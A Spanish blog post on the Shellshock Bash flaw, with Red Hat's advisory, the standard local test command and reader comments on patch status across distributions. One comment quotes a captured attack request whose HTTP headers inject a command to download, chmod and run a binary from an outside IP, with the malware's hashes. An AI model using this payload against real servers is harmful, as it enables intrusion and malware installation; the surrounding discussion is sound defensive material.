Anda corriendo como pólvora en algunos blogs, una noticia publicada en el blog de seguridad de Red Hat sobre una vulnerabilidad encontrada en Bash debido al uso indebido de variables globales. Según la noticia original:
«… la vulnerabilidad se debe al hecho de que se pueden crear variables de entorno con valores especialmente diseñados antes de llamar a la shell de bash. Estas variables pueden contener código que es ejecutado tan pronto como se invoca el shell. El nombre de estas variables elaboradas no importa, sólo sus contenidos. Como resultado, esta vulnerabilidad se expone en muchos contextos, por ejemplo:
- ForceCommand se utiliza en configuraciones de sshd para proporcionar capacidades de ejecución de comandos limitadas para los usuarios remotos. Este defecto se puede utilizar para evitar eso y proporcionar ejecución de comandos arbitrarios. Algunas implementaciones de Git y Subversion utilizan dichos Shells restringidos. El uso regular de OpenSSH no se ve afectada ya que los usuarios ya tienen acceso a una consola.
- El servidor Apache usando mod_cgi o mod_cgid se ven afectados si los scripts CGI están escritos tanto en bash, o desovan subniveles. Tales subniveles se utilizan de forma implícita por system/popen en C, por os.system/os.popen en Python, si se utiliza un shell system/exec en PHP (cuando se ejecuta en modo CGI), y open/system en Perl (que depende en la cadena de comandos).
- Scripts PHP ejecutados con mod_php no se ven afectados incluso si se reproducen subniveles.
- Clientes DHCP invocan scripts shell para configurar el sistema, con valores tomados de un servidor potencialmente malicioso. Esto permitiría comandos arbitrarios a ser ejecutados, normalmente como root, en el equipo cliente DHCP.
- Varios demonios y programas con privilegios SUID pueden ejecutar scripts de shell con los valores de variables de entorno establecidas/influenciados por el usuario, lo que permitiría ejecutar comandos arbitrarios.
- Cualquier otra aplicación que se engancha a un Shell o se ejecuta un script de shell como el uso de bash como intérprete. Los scripts de shell que no exportan variables no son vulnerables a este problema, incluso si ellos procesan contenido no confiable y la almacenan en variables (dejados) de shell y subniveles abiertos.
…»
¿Como saber si mi Bash está afectado?
Visto esto hay una forma muy simple de saber si estamos afectados por esta vulnerabilidad. De hecho, probé en mi Antergos y no tengo problema alguno al parecer. Lo que tenemos que hacer es abrir un terminal y poner:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Si nos sale de esta forma no tenemos problema alguno:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: aviso: x: ignoring function definition attempt bash: error al importar la definición de la función para `x' this is a test
Si el resultado es diferente, convendría usar los canales de actualización de nuestras distribuciones preferidas para ver si ya aplicaron el parche. Así que ya saben 😉
Actualizado: Este es el resultado de un compañero de trabajo que usa Ubuntu 14:04:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
Como ven, hasta el momento es vulnerable.
66 comentarios, deja el tuyo
Tengo Kubuntu 14.04 de 64 y también me sale:
env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
vulnerable
this is a test
Ya actualicé, pero no corrige. ¿Que hacer?
Esperar que actualicen. Ya eOS por ejemplo actualizó.. 😀
Que raro, yo también tengo Kubuntu 14.04
$ env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
bash: aviso: x: ignoring function definition attempt
bash: error al importar la definición de la función para `x’
this is a test
Añado que la versión del paquete «bash» que se ha descargado hoy es:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
En mi caso, al darle el comando, sólo me da lo siguiente en la terminal:
>
En fin, el chiste es que actualicé Debian Wheezy y éso es lo que me botó.
Wheezy aún es vulnerable a la segunda parte del bug, al menos para la tarde (UTC -4:30) todavía seguía el problema :/
Acabo de comprobar que tras aplicar una actualización esta mañana ni Slackware ni Debian ni Centos son afectados ya que recibieron actualización correspondiente..
¿Qué hace Ubuntu aún vulnerable a estas horas? Y que me digan que es seguro :D.
¿Pero has probado actualizar Ubuntu?
Con la actualización de hoy también lo han arreglado.
OK
Expertos en seguridad advierten de la vulnerabilidad de ‘Bash’, podría representar una mayor amenaza para los usuarios del Software Linux que el fallo de Heartbleed, donde los ‘hackers’ pueden explotar un error en Bash para tomar el control completo de un sistema.
Tod Beardsley, gerente de ingeniería de la firma de ciberseguridad Rapid7, advirtió que el fallo fue clasificado como 10 por su gravedad, lo que significa que tiene el máximo impacto, y calificado como «bajo» por la complejidad de la explotación, lo que significa que es relativamente fácil para los ataques de ‘hackers’. Al usar esta vulnerabilidad, los atacantes potencialmente pueden tomar el control del sistema operativo, acceder a información confidencial, hacer cambios, etc», dijo Beardsley. «Cualquiera con sistemas que ocupen Bash deben aplicar el parche inmediatamente», agregó.
ANTES ESTA VULNERABILIDAD QUE PRESENTA LA ANTICUADO HERRAMIENTA (GNU) donde se aloja Bach, seria mas conveniente para el Software Linux que deshaga de GNU y cambien por la herramienta BSD.
PD: no CENSUREN mi libertad de expresión,…no insultado a nadie,…no borren mi mensaje como el anterior mensaje que me han borrado!.
Ay por favor, no exageres. Como detesto a esas personas que usan BSD y desprecian GNU, Linux o cualquier cosa proveniente de estos proyectos.
Estoy contígo y tiénes toda la razón en cuánto a la gravedad de este agujero.
No fue censura, fue redundancia (habías hecho el mismo comentario en el post de gnome 3.14)
«…y calificado como “BAJO” POR LA COMPLEJIDAD de la explotación, lo que significa que es relativamente FÁCIL para los ataques de ‘hackers’»
¿Se nota la incongruencia?
¿Cómo puede ser fácil explotar la vulnerabilidad y tener al mismo tiempo nivel «bajo» de riesgo por ser tan complejo de utilizarse?
Es un bug que se soluciono a unas horas de conocerse y que al igual que heartbleed no tiene reportes de haber sido explotado (Claro este tiene menos tiempo de conocerse).
Es mas prensa amarillista que riesgo real.
¿Te parece poco importante @Staff? ¿Qué me dirás ahora?
GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
$ file nginx
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped
$ md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
¿Sabes qué es? De poco peligroso nada…
La situación es bastante grave, pero de allí a decir que se debe dejar de usar bash por una opción de BSD, ya es como mucho, de todas formas la actualización ya está, solo toco actualizar y más nada.
Ahora bien el PD, creo que está de más compañero @robet, no creo que acá los admins se dediquen a borrar comentarios así porque si, porque, desde que participo en esta comunidad he tenido esa sensación y espero que se mantenga así.
Saludos.
Pusiste exactamente el mismo comentario en dos post diferentes. Si lo que intentas es promover «la fuente» de la noticia, lo siento, este no es el lugar.
Bash viene desde Unix (y su clon en GNU). Los sistemas basados en BSD como OSX también están afectados, y según Genbeta, todavía no lo han parchado. Igual para acceder a Bash hace falta una cuenta de usuario, ya sea local o por SSH.
@Staff:
1.- Se clasifico como Nivel 10 (máximo nivel de peligrosidad) por la cantidad de servicios que pueden ser afectados por el bug. En la nota principal dejan bien claro ese hecho, aduciendo que el bug puede afectar servicios como apache, sshd, programas con permisos suid (xorg, entre otros).
2.- Se clasifico con Nivel Bajo de Dificultad, a la hora de poder realizar su implementación, y el mejor ejemplo de ello, es el script de prueba para vulnerabilidad que @elav ha colocado en el post. Muy difícil de implementar no es, como se puede ver.
Yo no veo redundancia en la información (solo veo una traducción del Google) y si el problema es bastante grave, y como tu mismo dices, ya tiene parche y solución, pero no por eso, deja de ser un riesgo, y uno bastante real.
@petercheco / @Yukiteru
No me mal interpreten, creo que es claro que mi critica es la noticia que enlaza Robet y esta enfocada la incongruencia y no una redundancia.
Del mismo modo hay que diferenciar entre riesgo y peligro (Este ultimo yo no lo mencione), comúnmente los usamos como sinónimos, pero aquí, peligro seria la capacidad de daño del bug y riesgo la probabilidad de que ocurra.
En mi particular caso, me entre desde el día de ayer. No fue por listas de correos ni nada así ¡Fue por una distro de escritorio! Tome el teléfono y le mande un mensaje al sysadmin con el link y me confirmo que ya tenia todo parchado, entonces disculpen pero no me quitan el sueño estas noticias.
En otros foros mencionan acerca de la vulnerabilidad de Bash, «la solución que sacó Debian y Ubuntu » ,pero hoy descubrieron que sigue existiendo una vulnerabilidad, así que la solución fue incompleta, eso mencionan!.
Veo que muchos me han criticado por el simple echo de prevenir a la gente la gravedad de vulnerabilidad -calificado con un nivel 10 de máxima peligrosidad, y mencionar de posibles soluciones al Software Linux ante la anticuada herramienta de GNU donde se aloja Bash -que perfectamente podría ser remplazado GNU con la herramienta BSD en el Software Linux,…yo también utilizo Linux y me gusta Linux!.
Aclaro que Bash no viene por defecto instalado en BSD, es un paquete mas de compatibilidad de Linux que puede ser instalado en BSD…si!. Y la fuente se pone para que puedan comprobar la noticia, ya que muchos de los usuarios aveces no creen el mensaje o comentario.
robet: Como ya te dijeron una y otra vez, tu comentario con la noticia ya lo pusiste en un post, no tienes que ponerlo en cada post que comentes.
Sobre bash, pues hay otros interpretes de comandos que se pueden usar en caso de que Bash sea vulnerable. 😉
Robet, que yo sepa no existe software que combine el kernel linux con el userland BSD. Lo mas cercano es al revés, kBSD+GNU, como lo hacen Gentoo y Debian. Aparte no se lo prodría llamar «anticuado» a GNU (1983) si es posterior a BSD (1977). Ambos comparten su raíz unix (pero no el código), no habría «compatibilidad Linux» si Bash fue creado cuando Linus T todavía era niño.
uff, debian testing a estas horas es «vulnerable» vaya racha que llevamos…
Yo uso Debian Testing y hasta en esta rama hemos recibido la actualización de bash
según genbeta también hay otra vulnerabilidad
http://seclists.org/oss-sec/2014/q3/685
el comando para consultar es
env X='() { (a)=>\’ sh -c «echo vulnerable»; bash -c «echo Fallo 2 sin parchear»
lo mismo yo.
Igual acá. Pero el fallo original del post sí fue parcheado en (L)Ubuntu 14.04
en vez de hacer un simple echo intente hacer que ejecute una instruccion que requiere privilegios, me tiro «privilegios insuficientes»… no escala privilegios este bug?, si no escala privilegios entonces no es tan peligroso como lo pintan..
Tienes razón!! eran dos vulnerabilidades…
A mi en Linux Mint 17 después de la segunda actualización de bash que pusieron en los repositorios de Ubuntu ayer por la noche, a la ejecución de esa orden la shell ofrece esta salida:
env X='() { (a)=>\’ sh -c “echo vulnerable”; bash -c “echo Fallo 2 sin parchear”
>
La versión de «bassh» que se puso en repositorios de Ubuntu para actualizar las anteriores es:
4.3-7ubuntu1.2
En sistemas derivados de Debian se puede comprobar la versión instalada con esta orden:
dpkg -s bash|grep Version
De todas formas habría que aclarar, al menos para los usuarios de Debian, Ubuntu y Mint; que no deben preocuparse demasiado por los programas que ejecutan scripts con el encabezamiento #!/bin/sh porque en esas distribuciones /bin/sh no llama a «bash», sino que enlaza a la shell «dash» (dash es:)
La consola del alquimista de Debian (dash) es una consola POSIX derivada
de ash.
.
Desde que ejecuta scripts mas rapido que bash, y tiene menos dependencias
de bibliotecas (haciendolo más robusto contra fallas de software o
hardware), se usa como consola predeterminada del sistema en sistemas
Debian.
Así que, al menos en Ubuntu, «bash» es utiizada como shell para el login de usuarios (también para el usuario root). Pero cualquier usuario puede utilizar otra shell por defecto para las consolas (terminales) de usuarios y root.
Es fácil comprobar que shell ejecuta los scripts (#!/bin/sh) ejecutando estas órdenes:
file /bin/sh
(la salida es /bin/sh: symbolic link to `dash’) seguimos el rastro repitiendo la orden
file /bin/dash
(la salida es /bin/dash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV) así que este es el ejecutable.
Estos son los resultados en una distribución Linux Mint 17. En otras distribuciones no basadas en Ubuntu/Debian pueden ser diferentes.
No es difícil cambiar la shell por defecto!! incluso se puede usar una diferente para los usuarios y para el usuario root. En realidad solo hay que instalar la shell que se prefiera y cambiar la predeterminada con el comando «chsh» o editando el archivo /etc/passwd (aunque los usuarios que no conocen las consecuencias de un error al editar el archivo «passwd», es mejor que se informen muy bien y antes de editarlo que hagan copia del original por si es necesario recuperarlo).
Yo me siento más cómodo con «tcsh» (tcsh es:)
La consola de C de TENEX, una versión mejorada de la csh de Berkeley
«csh» es la que utilizaban los Mac OS X hace algunos años. Algo lógico teniendo en cuenta que buena parte del sistema operativo de Apple es código de FreeBSD. Ahora por lo que he leído ayer, parece que también provén «bash» para los terminales de los usuarios.
CONCLUSIONES:
– Ya se han distribuido versiones de «bash» parcheadas «para las distribuciones más usadas»
– La versión de «bash» 4.3-7ubuntu1.2 y posteriores no contienen estos bugs
– No es obligatorio usar «bash» en OS *Linux
– Pocas distribuciones *Linux enlazan #!/bin/sh con «bash»
– Existen alernativas: ash, dash, csh, tcsh y algunas más
– No es complicado cambiar la shell por defecto a la que el sistema llama cuando abre un terminal
– Pocos dispositivos pequeños (routers y otros) usan «bash», porque es muy grande!!
Ahora mismo acaba de llegar otra actualización que instala otra versión de «bash» 4.3-7ubuntu1.3
Para Linux Mint 17 y Ubuntu 14.04.1 LTS
En ArchLinux entró la versión bash-4.3.026-1
@Xurxo….csh de Berkeley?,…algo entiendes de lo que hablo arriba, y es mejor usar «csh» de BSD…antes que la anticuada herramienta GNU donde se aloja Bash. Esa herramienta es la mejor para el Software Linux.
supongo que es este el bug
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
cierto?
Y la solución cual seria?
Esperar que actualicen el paquete en tu distro 😉
El bug quedó bautizado como shellshock
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
vulnerable
this is a test
Aún no hay parche para Ubuntu Studio 14.04
Reaparado en Ubuntu Studio 14.04.1
brizno@ubuntustudio:~$ env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
bash: aviso: x: ignoring function definition attempt
bash: error al importar la definición de la función para `x’
this is a test
En realidad es una vulnerabilidad menor , si te afecta es que algo estabas haciendo mal de antes …
Porque un script bash que corre con privilegios de root nunca debe de exponerse a un usuario . Y si corre sin privilegios , no existe dicha bulnerabilidad . En realidad , es una tonteria . Mucho alarmismo .
Pienso lo mismo.
Exacto, para vender mas diarios o conseguir mas visitas son buenos estos bugs.
Pero siempre se les olvida mencionar que para poder vulnerar un equipo con esta clase de scripts, primero hay que tener acceso a bash y después tenerlo como root.
staff si usas un apache con cgi basta con poner en las cabeceras http como cookies o referer la funcion que deseas ejecutar . Incluso se ha usado para propagar worms .
y si alguien mete una shell a un servidor con un wget mishell.php , en ese caso no es grave no?
De acuerdo contigo. Pensé que era un bug tremendo como el de Heartbleed (incluso la NSA se prestó para alimentar el morbo), pero al fin de al cabo era un bug menor.
Hay otros bugs realmente serios como el disparatado consumo de Flash y el bajón de rendimiento en el Pepper Flash Player, y el ya solucionado bug de webRTC en Chrome y Firefox.
¿Sabéis si tiene arreglo para la gente que tenemos Linux Mint 16?
En Debian testing ya fue corregido.
En mis 5 distros está solventado, en mi OS X no lo se.
Por favor, no censuren mi comentario, he dicho OS X. No se si se puede decir OS X en este sitio.
@yoyo bueno tampoco lo flipes demasiado que aún están trabajando en algunos detalles del parche…prueba con esto y después me cuentas anda XD
env x='() { :;}; echo vulnerable’ bash -c «echo soy más vulnerable que la basura del iphone 6»
Eso si que lo tienen solucionado al 100% antes que OS X me apuesto lo que sea
Bueno, hasta en Ars Technica le dan la relevancia a Bash en OSX.
@Yoyo próximo comentario sobre OS X para SPAM.. lla tu save.. 😛
@yoyo ahí que arreglar lo de las comillas..pero el resto ya tu sabes 😉
La FSF ha hablado
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Como que se han vuelto condescendientes con OSX (porque OSX igual usa Bash :v).
En fin, no tengo que liarme tanto con Debian Jessie.
Si el sistema es vulnerable en Cent OS:
yum clean all && yum update bash
para ver la version de bash:
rpm -qa | grep bash
Si la version es anterior a bash-4.1.2-15.el6_5.1 tu sistema puede ser vulnerable!
Saludos.
2ª vulnerabilidad todavía no resuelta
env soyvariable2='() { (a)=>\’ sh -c «echo soyVulnerable»; bash -c «echo Fallo 2 sin parchear»
Actualizando…
A mi en Gentoo me pasa lo contrario, solo soy vulnerable al primer fallo pero con el segundo me aparece esto:
[code]sh: X: línea 1: error sintáctico cerca del elemento inesperado `=’
sh: X: línea 1: `’
sh: error al importar la definición de la función para `X’
sh: vulnerable: no se encontró la orden
Fallo 2 sin parchear
[/code]
No se si ya habrá una versión estable de Bash con los fallos corregidos, pero sea como sea quedara pendiente para la próxima vez que haga un emerge –sync && emerge –update –deep –with-bdeps=y –newuse @world (así de paso actualizo todo el sistema).
Yo tengo Gentoo con la versión 4.2_p50 y hasta ahora ha pasado todas las pruebas. Prueba haciendo un emerge –sync y luego emerge -av1 app-shells/bash, y luego revisa que tengas la version 4.2_p50 usando el comando bash –version.
¿Han probado esto?
Y con nuevos paquetes, nuevo test que nos proporcionan desde Red Hat
cd /tmp; rm -f /tmp/echo; env ‘x=() { (a)=>\’ bash -c «echo date»; cat /tmp/echo
si nuestro sistema no es vulnerable y ha sido correctamente parcheado nos tiene que dar algo como esto
1 date
2 cat: /tmp/echo: No existe el fichero o el directorio
Prueben esta forma:
env X='() { (a)=>\’ sh -c «echo vulnerable»; bash -c «echo Fallo 2 parcheado»
A mi me sale
vulnerable
Fallo 2 parcheado.
Olvidenlo está mal formateada la línea.
Excelente!, ya hice la actualización en mi Slackware, gracias!
Buenas, me surge una pregunta, yo tengo varios servidores con «SUSE Linux Enterprise Server 10» de 64 bits.
Cuando ejecuto las ordenes soy vulnerable, incluso soy más vulnerable que la basura el iPhone 6 xD
Si no me equivoco para actualizar/instalar paquetes en SUSE se hace con el comando «zypper».
En algunos servidores me dice esto:
BIAL:~ # zypper up
-bash: zypper: command not found
BIAL:~ #
Y en otros esto:
SMB:~ # zypper up
Restoring system sources…
Parsing metadata for SUSE Linux Enterprise Server 10 SP2-20100319-161944…
Parsing RPM database…
Summary:
Nothing to do.
Que hago?
Ya se que la vulnerabilidad algunos decis que es menor de como lo pintan pero la tengo y no quiero estar expuesto al riesgo, sea pequeño o grande.
Saludos.
Buenas noches, he probado pegando el código que dispusieron en el artículo, me sale esto
sanders@pc-sanders:~$ env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
this is a test
sanders@pc-sanders:~$
quieren por favor explicarme como parchar distro, hago actualizaciones diariamente y no veo cambios en la salida del prompt.
Muchas gracias!